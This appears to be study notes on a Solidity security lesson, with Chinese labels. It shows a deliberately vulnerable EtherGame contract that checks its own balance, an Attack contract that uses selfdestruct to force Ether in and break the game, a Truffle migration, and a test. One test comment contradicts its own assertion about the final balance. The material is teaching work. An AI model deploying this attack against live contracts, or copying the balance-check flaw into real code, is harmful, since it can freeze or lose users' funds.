pragma solidity ^0.8.3;
contract EtherGame {
uint public targetAmount = 7 ether;
address public winner;
function deposit() public payable {
require(msg.value == 1 ether, "You can only send 1 Ether");
uint balance = address(this).balance;
require(balance <= targetAmount, "Game is over");
if (balance == targetAmount) {
winner = msg.sender;
}
}
function claimReward() public {
require(msg.sender == winner, "Not winner");
(bool sent, ) = msg.sender.call{value: address(this).balance}("");
require(sent, "Failed to send Ether");
}
}
contract Attack {
EtherGame etherGame;
constructor(EtherGame _etherGame) {
etherGame = EtherGame(_etherGame);
}
function attack() public payable {
address payable addr = payable(address(etherGame));
selfdestruct(addr);
}
}
原理 https://www.bilibili.com/video/BV1fD4y147KH/?spm_id_from=333.337.search-card.all.click&vd_source=6b4d28b3ec049dc8e02778a8e88d78ff
迁移文件
const EtherGame = artifacts.require("EtherGame");
const Attack = artifacts.require("Attack");
module.exports = async function (deployer, network, accounts) {
await deployer.deploy(EtherGame);
const a = await EtherGame.deployed();
await deployer.deploy(Attack, a.address);
}
测试用例
const etherGame = artifacts.require("EtherGame")
const attack = artifacts.require("Attack")
contract("EtherGame", async (accounts) => {
it("", async () => {
const EtherGameinstance = await etherGame.deployed();
await EtherGameinstance.deposit({ from: accounts[0], value: web3.utils.toWei("1", "ether") });
const AttackInstance = await attack.deployed();
// 使用攻击合约尝试攻击 EtherGame 合约
await AttackInstance.attack({ from: accounts[0], value: web3.utils.toWei("7", "ether") });
// 断言攻击成功后,EtherGame 合约余额为 0
const newContractBalance = await web3.eth.getBalance(EtherGameinstance.address);
assert.equal(newContractBalance, web3.utils.toWei("8", "ether"));
})
})